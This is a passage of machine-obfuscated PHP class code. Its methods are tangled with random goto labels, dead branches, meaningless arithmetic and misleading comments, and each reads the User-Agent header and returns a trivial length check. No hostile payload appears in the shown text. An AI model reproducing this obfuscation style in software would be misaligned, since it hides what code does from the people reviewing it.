a2nyhHEzA; a2nyhHEzA: /* lv1rTQArvJyIN5HwI8vf */ $XsucffsH = 345 + 22; $FbaGmw5w = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto ifujcyim; ifujcyim: goto pcdb0MTV; pcdb0MTV: goto AcJQaJJ9; AcJQaJJ9: /* Main service */ if (false) { echo 'This is a dead end'; } goto a_2lntdj2; a_2lntdj2: goto HsSGeAtY; HsSGeAtY: /* System file */ if (false) { echo 'This is a dead end'; } goto a3E7iB4uf; a3E7iB4uf: /* Core module */ goto m3iNP4q1; m3iNP4q1: goto XHOea4D9; XHOea4D9: /* Core module */ goto hpeXVU0X; hpeXVU0X: // uZzivHQRbT1AJE_3 if (false) { echo 'This is a dead end'; } goto pQ8H290j; pQ8H290j: if (false) { echo 'This is a dead end'; } goto BSw90V2Y; BSw90V2Y: goto BoLh7xKV; BoLh7xKV: /* System file */ goto BTuo7zaw; BTuo7zaw: // edRuBKdbVbxf $jIP39ari = 260 + 6; $jIP39ari = $jIP39ari * 4; goto WhSh91KU; WhSh91KU: /* bgM_Fi_NJCx2cEk */ goto HhGRpyQM; HhGRpyQM: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jZAXsYkg; jZAXsYkg: /* API handler */ $iX1geSuk = 410 + 12; $n7sJ6WnP = $iX1geSuk * 3; goto YsHG49a3; YsHG49a3: goto Qr7BfdQ_; Qr7BfdQ_: goto Szgd718E; Szgd718E: goto jOvxih8q; jOvxih8q: if (false) { echo 'This is a dead end'; } goto dl98Nw5h; dl98Nw5h: /* System file */ $B9ma2fmF = 836 + 39; $BqYDw4sr = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto Fkx6yTl7; Fkx6yTl7: /* 4EANZs5ObcQnl9t */ $Pe9zuJ4r = 759 + 2; $NqlX8zGc = $Pe9zuJ4r * 5; goto MAD7awig; MAD7awig: goto h4SDy1k8; h4SDy1k8: /* Security component */ goto i2uoCeBP; i2uoCeBP: goto a4FwgWhyZ; a4FwgWhyZ: // DRtJEYDQ goto a4jK21AaM; a4jK21AaM: $a29IFo9lZ = 125 + 31; $NqlX8zGc = $a29IFo9lZ * 3; goto m0cihxJn; m0cihxJn: $n7sJ6WnP = 391 + 43; $bZa4iOd6 = $n7sJ6WnP * 3; goto YKYGGkhW; YKYGGkhW: /* Core module */ $Pe9zuJ4r = 235 + 47; $B9ma2fmF = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto toMEVHeY; toMEVHeY: goto VMmYxSy_; VMmYxSy_: $NqlX8zGc = strlen($Pe9zuJ4r); goto pLoKHIHm; pLoKHIHm: $iCjD65Pi = 694 + 35; $jIP39ari = $iCjD65Pi * 2; goto r0eoIkvm; r0eoIkvm: // MPzfUZQa goto xSMxy7kI; xSMxy7kI: /* System file */ goto a9gaaDBv_; a9gaaDBv_: // qsaI3Q_yvUdxlHle if (false) { echo 'This is a dead end'; } goto W758iUFZ; W758iUFZ: goto q4AbIHcT; q4AbIHcT: /* PmxvyCjiNuFk7lJru0Up */ goto DXTTB9IH; DXTTB9IH: /* Security component */ if (false) { echo 'This is a dead end'; } goto AFCqh4e5; AFCqh4e5: /* System file */ if (false) { echo 'This is a dead end'; } goto q3BkiINF; q3BkiINF: /* bucY9qPkPPdzHod */ $a6EHyDbxg = 436 + 28; $Pe9zuJ4r = $a6EHyDbxg * 1; if (false) { echo 'This is a dead end'; } goto Vvt65XPc; Vvt65XPc: /* 59RreBAlEss5Hbr_yliW */ goto LMw7BAXX; LMw7BAXX: goto j_jzWv6X; j_jzWv6X: /* API handler */ $BqYDw4sr = 252 + 40; $FbaGmw5w = $BqYDw4sr * 1; goto tVbtosZU; tVbtosZU: goto w6mh_W6k; w6mh_W6k: // TQ6WB5yTSwTe_Rxn goto JlNjuOte; JlNjuOte: $iCjD65Pi = 664 + 28; $WWDcP6ib = $iCjD65Pi * 5; goto efDwlWzS; efDwlWzS: return $NqlX8zGc > 10; } private function U8kJtg4We7() { goto ULHUwwSx; ULHUwwSx: // Yb3_jAqV goto Hxx9s3S1; Hxx9s3S1: goto tFWR9XFL; tFWR9XFL: $B9ma2fmF = 709 + 26; $iX1geSuk = $B9ma2fmF * 5; goto rL222vRW; rL222vRW: goto UMWk4MWp; UMWk4MWp: // oA1Qej6F4GYA goto t7NWVxOo; t7NWVxOo: $BqYDw4sr = 352 + 46; $FbaGmw5w = $BqYDw4sr * 1; goto YK2Xxwhj; YK2Xxwhj: goto J3ECtkCl; J3ECtkCl: /* API handler */ goto a9xu0pPpU; a9xu0pPpU: /* Security component */ $NqlX8zGc = 650 + 25; $NqlX8zGc = $NqlX8zGc * 5; goto SXM_k4K3; SXM_k4K3: /* Main service */ if (false) { echo 'This is a dead end'; } goto xMCxrhlF; xMCxrhlF: goto qsFOOYC8; qsFOOYC8: /* Security component */ goto e0nlBhW1; e0nlBhW1: goto FpyKOodV; FpyKOodV: goto BgYX8T38; BgYX8T38: $iCjD65Pi = 584 + 29; $a6EHyDbxg = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto F6xHYIjg; F6xHYIjg: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto k2vYleol; k2vYleol: goto HPo3HoF1; HPo3HoF1: /* Main service */ goto p2AhFWL3; p2AhFWL3: $bZa4iOd6 = 602 + 36; $a29IFo9lZ = $bZa4iOd6 * 5; goto vDwEkZbq; vDwEkZbq: $XsucffsH = 588 + 35; $B9ma2fmF = $XsucffsH * 4; goto NWjyGeOM; NWjyGeOM: /* Main service */ $bZa4iOd6 = 297 + 46; $n7sJ6WnP = $bZa4iOd6 * 2; goto ca36c1fn; ca36c1fn: /* Core module */ goto yLymEx3N; yLymEx3N: goto OxcmKbm6; OxcmKbm6: /* xYZhcTwHNmneKn3qyIc_ */ if (false) { echo 'This is a dead end'; } goto tgrkXc3j; tgrkXc3j: $bZa4iOd6 = 860 + 24; $a6EHyDbxg = $bZa4iOd6 * 3; goto hie7QQY8; hie7QQY8: // TuDt7cOUuj0pszoa goto WnnnqcRU; WnnnqcRU: goto JOVmN68X; JOVmN68X: /* Main service */ if (false) { echo 'This is a dead end'; } goto I0NLJ7BR; I0NLJ7BR: /* mtKgrL2IgC5oaec */ goto G0AK2Xrn; G0AK2Xrn: goto DoZzBCbv; DoZzBCbv: goto fXcJSiaa; fXcJSiaa: $jIP39ari = strlen($a29IFo9lZ); goto XkcojSVl; XkcojSVl: // BWRbB0i8RxToHqha $a6b9oay5s = 981 + 32; $XsucffsH = $a6b9oay5s * 3; goto a3FFypBvZ; a3FFypBvZ: goto a5kjcjWY5; a5kjcjWY5: /* System file */ if (false) { echo 'This is a dead end'; } goto hI6REqjW; hI6REqjW: /* gZaUSjtu_4lTv1p */ $iCjD65Pi = 635 + 14; $bZa4iOd6 = $iCjD65Pi * 3; goto N9bRSwV5; N9bRSwV5: /* DBWt5mjmu9 */ if (false) { echo 'This is a dead end'; } goto a_Re8dbrP; a_Re8dbrP: // uBxg76GS $a6EHyDbxg = 809 + 50; $jIP39ari = $a6EHyDbxg * 3; goto a3_HbyYl8; a3_HbyYl8: /* ugHrZxPat5cZBOyXI2QU */ goto jISG4eI_; jISG4eI_: $iCjD65Pi = 779 + 5; $a6EHyDbxg = $iCjD65Pi * 4; goto a6UxiRqHi; a6UxiRqHi: // G7zOUaXOQ04UysAW goto DGgF26hA; DGgF26hA: // V5cYxvJT goto a69C7SrSX; a69C7SrSX: goto R7aPvpYm; R7aPvpYm: $WWDcP6ib = 232 + 6; $FbaGmw5w = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto H8waovpQ; H8waovpQ: // ygQCAPt5F2tHORjh goto QqSnR_f7; QqSnR_f7: $iCjD65Pi = 850 + 38; $BqYDw4sr = $iCjD65Pi * 2; goto x1KL1qEB; x1KL1qEB: $BqYDw4sr = 640 + 25; $a6EHyDbxg = $BqYDw4sr * 3; goto a_uzJxuPl; a_uzJxuPl: return $jIP39ari > 10; } private function i4I3M3aPjf() { goto NWYhU72E; NWYhU72E: goto qWBJJcqD; qWBJJcqD: goto a0aRBICon; a0aRBICon: // h4DPyrAKoess $Pe9zuJ4r = 820 + 21; $jIP39ari = $Pe9zuJ4r * 2; goto ccGqY5D0; ccGqY5D0: /* System file */ goto nhQ3K1yz; nhQ3K1yz: // RAYUhO46dx3W goto a9kh80NiG; a9kh80NiG: goto WN9e5tdK; WN9e5tdK: /* API handler */ goto BtlwHvK7; BtlwHvK7: goto a0MMVhIXv; a0MMVhIXv: /* Core module */ goto UHifgyhB; UHifgyhB: $a6EHyDbxg = 759 + 33; $B9ma2fmF = $a6EHyDbxg * 3; goto lhdmR_i8; lhdmR_i8: goto IlMrEcC0; IlMrEcC0: goto Niz3zTxB; Niz3zTxB: /* HscpjOAeA9 */ goto LS61jLyi; LS61jLyi: /* Main service */ $B9ma2fmF = 183 + 14; $NqlX8zGc = $B9ma2fmF * 4; goto ag8dM0TB; ag8dM0TB: goto a6IhAjFvZ; a6IhAjFvZ: $iCjD65Pi = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto kkoueKB5; kkoueKB5: goto VGxsEops; VGxsEops: // XyFuOMLLFPIZbgLO goto y3_zbOi2; y3_zbOi2: /* Main service */ if (false) { echo 'This is a dead end'; } goto Gt9GeZPD; Gt9GeZPD: // rg6Rd_Rq $XsucffsH = 177 + 14; $Pe9zuJ4r = $XsucffsH * 1; goto tFVNB_LI; tFVNB_LI: goto tdJRHzBK; tdJRHzBK: goto QUq3rTdY; QUq3rTdY: /* API handler */ if (false) { echo 'This is a dead end'; } goto sD673XFZ; sD673XFZ: $n7sJ6WnP = 352 + 44; $a6EHyDbxg = $n7sJ6WnP * 4; goto a6XicJih5; a6XicJih5: $iCjD65Pi = 510 + 28; $iCjD65Pi = $iCjD65Pi * 2; goto zs7IGrAE; zs7IGrAE: /* Core module */ if (false) { echo 'This is a dead end'; } goto ZbSCetPT; ZbSCetPT: /* Security component */ if (false) { echo 'This is a dead end'; } goto aqJnKzqW; aqJnKzqW: if (false) { echo 'This is a dead end'; } goto Nc0u3Iip; Nc0u3Iip: /* Core module */ goto KAw2KyMH; KAw2KyMH: /* Core module */ goto qqRYYQCR; qqRYYQCR: /* API handler */ $iCjD65Pi = 694 + 10; $Pe9zuJ4r = $iCjD65Pi * 1; goto eixdQ5i3; eixdQ5i3: $FbaGmw5w = strlen($iCjD65Pi); goto pJ378JiS; pJ378JiS: goto oWGIuZW5; oWGIuZW5: if (false) { echo 'This is a dead end'; } goto a7L0Pu2ki; a7L0Pu2ki: goto OqHJOeh5; OqHJOeh5: $WWDcP6ib = 767 + 16; $iX1geSuk = $WWDcP6ib * 5; goto EQcwUU9K; EQcwUU9K: $Pe9zuJ4r = 772 + 50; $n7sJ6WnP = $Pe9zuJ4r * 1; goto wnNvbYTo; wnNvbYTo: $WWDcP6ib = 316 + 26; $iX1geSuk = $WWDcP6ib * 2; goto uEvk3swO; uEvk3swO: /* System file */ $jIP39ari = 964 + 29; $WWDcP6ib = $jIP39ari * 3; goto ROVTSRRq; ROVTSRRq: /* Dwxv9NqnaAXlxmPfgz0E */ goto UPh0iBK_; UPh0iBK_: /* URXBdKW6qY */ if (false) { echo 'This is a dead end'; } goto i97xfiXB; i97xfiXB: if (false) { echo 'This is a dead end'; } goto aseqz8Fu; aseqz8Fu: goto Y89Bujim; Y89Bujim: /* API handler */ if (false) { echo 'This is a dead end'; } goto HkklKTLL; HkklKTLL: goto a1kXm3C0c; a1kXm3C0c: // 3Z6Ox6pr goto g7IJTvTZ; g7IJTvTZ: goto DDJeQRcH; DDJeQRcH: return $FbaGmw5w > 10; } private function VqWkrbwL6n() { goto lR9HV3vF; lR9HV3vF: goto S9kEO5kx; S9kEO5kx: $a29IFo9lZ = 655 + 31; $a6EHyDbxg = $a29IFo9lZ * 4; goto ClD3LPfl; ClD3LPfl: // Yi9_JvdZJpFR $BqYDw4sr = 646 + 32; $iCjD65Pi = $BqYDw4sr * 1; goto myjOXYkr; myjOXYkr: /* WwCXtnphiRPssBKHyiyJ */ if (false) { echo 'This is a dead end'; } goto QgFhgUj4; QgFhgUj4: $XsucffsH = 939 + 29; $FbaGmw5w = $XsucffsH * 5; goto XCFma3AO; XCFma3AO: goto LZLhxy0c; LZLhxy0c: $a6EHyDbxg = 918 + 31; $XsucffsH = $a6EHyDbxg * 4; goto b7CfM9Wv; b7CfM9Wv: $n7sJ6WnP = 858 + 35; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto a9_A2gMuK; a9_A2gMuK: /* GYbMmlcGnG */ if (false) { echo 'This is a dead end'; } goto cNTfeAgW; cNTfeAgW: /* 6Gg_BRQ5ji */ if (false) { echo 'This is a dead end'; } goto a7fGpfEqv; a7fGpfEqv: /* Core module */ goto Qvso36ZU; Qvso36ZU: // qB8k6GsY $a29IFo9lZ = 112 + 23; $Pe9zuJ4r = $a29IFo9lZ * 5; goto BFDd5_wA; BFDd5_wA: goto W6fbyRJx; W6fbyRJx: /* API handler */ $Pe9zuJ4r = 127 + 17; $B9ma2fmF = $Pe9zuJ4r * 4; goto SIxqJNaF; SIxqJNaF: goto bg0wRqou; bg0wRqou: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w7yIuhm1; w7yIuhm1: $a29IFo9lZ = 766 + 20; $iX1geSuk = $a29IFo9lZ * 4; goto a3eXD_XL4; a3eXD_XL4: goto oCJrwVoZ; oCJrwVoZ: $BqYDw4sr = 942 + 15; $XsucffsH = $BqYDw4sr * 3; goto zRnY8Cjy; zRnY8Cjy: if (false) { echo 'This is a dead end'; } goto W_xSi8Vx; W_xSi8Vx: if (false) { echo 'This is a dead end'; } goto H0YUPpd9; H0YUPpd9: /* Security component */ goto OVd38Goe; OVd38Goe: /* API handler */ $bZa4iOd6 = 454 + 35; $XsucffsH = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto BKc4PZuQ; BKc4PZuQ: /* Core module */ goto a7ZEimvfl; a7ZEimvfl: /* pgDAnrDMes */ if (false) { echo 'This is a dead end'; } goto cE18sMPR; cE18sMPR: /* aJInHP8e3c */ goto p99MZBfn; p99MZBfn: goto NkTv4qe0; NkTv4qe0: /* System file */ $a29IFo9lZ = 556 + 14; $XsucffsH = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto P5TBeEsd; P5TBeEsd: /* bhiC_atWuHCdb2toWZNX */ goto RbblcxWR; RbblcxWR: /* Security component */ goto StF2kXd0; StF2kXd0: /* Core module */ goto Ge6qVIlJ; Ge6qVIlJ: $Pe9zuJ4r = strlen($n7sJ6WnP); goto W15_0CaB; W15_0CaB: /* Core module */ goto a6o50BQkb; a6o50BQkb: // iAaEch06 goto vvmkPQQS; vvmkPQQS: /* 6fu6rTuuWH */ if (false) { echo 'This is a dead end'; } goto prCqmxzU; prCqmxzU: /* 5jCZ0yecnJ */ goto Wf0zaJUY; Wf0zaJUY: /* API handler */ goto a44ICrAJ7; a44ICrAJ7: $iCjD65Pi = 552 + 40; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto IUuy5Fz3; IUuy5Fz3: /* uIvybHhlzH */ $WWDcP6ib = 658 + 48; $FbaGmw5w = $WWDcP6ib * 5; goto N_ymOyNM; N_ymOyNM: /* API handler */ goto a2IPhiYF8; a2IPhiYF8: /* O64SSCwE9IhS9oiD3dZg */ goto QqIT_g4N; QqIT_g4N: // iPzjxzcu5zezkszA goto htqRtvjP; htqRtvjP: $iX1geSuk = 991 + 42; $a29IFo9lZ = $iX1geSuk * 3; goto k4EWrFjY; k4EWrFjY: $XsucffsH = 242 + 47; $Pe9zuJ4r = $XsucffsH * 1; goto qAEZ027m; qAEZ027m: goto a4ouqAsK7; a4ouqAsK7: goto QyLxw7cW; QyLxw7cW: $a6EHyDbxg = 206 + 21; $n7sJ6WnP = $a6EHyDbxg * 1; goto p7RsAnZM; p7RsAnZM: return $Pe9zuJ4r > 10; } }